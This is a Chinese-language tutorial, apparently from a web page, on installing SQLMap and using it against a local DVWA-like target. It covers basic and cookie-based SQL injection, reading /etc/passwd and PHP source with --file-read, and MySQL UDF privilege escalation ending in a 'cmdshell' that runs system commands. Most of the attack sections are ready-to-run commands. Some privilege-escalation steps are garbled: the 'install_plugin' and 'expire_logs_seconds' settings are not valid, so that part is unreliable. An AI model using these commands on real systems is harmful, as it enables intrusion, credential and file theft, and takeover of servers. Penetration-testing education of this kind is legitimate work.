您的位置:

SQLMap安装教程

一、安装Python

1、下载Python安装包

访问Python官网(https://www.python.org/downloads/),选择“Download”-“Windows”-“Latest Python 3 Release”,下载对应的Python安装包。

https://www.python.org/downloads/windows/

2、安装Python

运行Python安装包,选择“Customize installation”自定义安装。在“Optional features”中勾选“Add Python 3.x to PATH”,方便后续使用。

// 添加Python到系统环境变量
SET PATH=%PATH%;C:\Python3x;C:\Python3x\Scripts

二、安装SQLMap

1、下载SQLMap

访问SQLMap官网(http://sqlmap.org/),选择“Download”-“sqlmap.zip”,下载对应的SQLMap压缩包。

http://sqlmap.org/

2、解压SQLMap

将下载的SQLMap压缩包解压缩到指定目录,例如解压到“D:\sqlmap”目录下。

// 解压SQLmap
unzip sqlmap.zip
// 进入sqlmap目录
cd D:\sqlmap

三、检测SQLMap是否安装成功

打开命令行窗口,进入SQLMap安装目录。

// 命令行中输入以下命令
cd /d D:\sqlmap
python sqlmap.py

如果SQLMap安装成功,则会显示SQLMap的版本号,版权信息等相关信息。

四、使用SQLMap进行基本注入

1、查找注入点

使用SQLMap需要先确定有注入漏洞,使用一些注入漏洞扫描器可以辅助查找注入点。例如:使用OWASP ZAP进行漏洞扫描。

2、使用SQLMap进行注入

在命令行中输入以下命令,使用SQLMap进行漏洞利用注入:

python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" --threads=10

-u指定漏洞URL链接地址,--threads=10指定使用10个线程进行注入。

五、使用SQLMap进行高级注入

1、指定注入参数

使用SQLMap的-p参数可以指定注入参数。

python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id

2、指定注入类型

使用SQLMap的--level和--risk参数可以指定注入类型。

python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --level=5 --risk=3

3、使用Cookie进行注入

使用SQLMap的--cookie参数可以指定Cookie进行注入。

python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?Unlogged=true" --cookie="PHPSESSID=xxxxxxxxxx; security=low;" --level=5 --risk=3

六、使用SQLMap进行文件读取

使用SQLMap进行基于文件读取的攻击是一个高级用法,需要了解目标后台数据库的文件存储结构,以及Web服务器的文件访问规则。

1、读取PHP源代码

python sqlmap.py -u "http://localhost/vulnerabilities/fi/?page=include.php" --file-read=/var/www/html/includes/application_top.php

2、读取系统文件

python sqlmap.py -u "http://localhost/vulnerabilities/fi/?page=include.php" --file-read=/etc/passwd

七、使用SQLMap进行提权攻击

使用SQLMap进行基于提权攻击也是一个高级的用法,需要了解目标后台数据库的工作环境,以及操作系统提权的方法。

假设目标后台数据库是MySQL,且MySQL服务以root身份运行。

1、上传MySQL UDF库文件

python sqlmap.py -u "http://localhost/file_upload.php" --file-write="mysql_udf.so" --file-dest="/tmp/mysql_udf.so"

2、设置环境变量

python sqlmap.py -u "http://localhost/file_upload.php" --sql-query="SET GLOBAL local_infile=1; SET @@session.expire_logs_seconds=1; SET @@global.install_plugin='mysql_udf.so'; SELECT @@global.install_plugin;"

3、加载MySQL UDF库文件

python sqlmap.py -u "http://localhost/file_upload.php" --sql-query="CREATE FUNCTION cmdshell RETURNS STRING SONAME 'mysql_udf.so'"

4、执行提权命令

python sqlmap.py -u "http://localhost/file_upload.php" --sql-query="SELECT cmdshell('whoami');"

八、总结

本文介绍了SQLMap的安装和基本使用,以及使用SQLMap进行高级注入、文件读取和提权攻击的方法,希望能够为大家在Web渗透测试中提供帮助。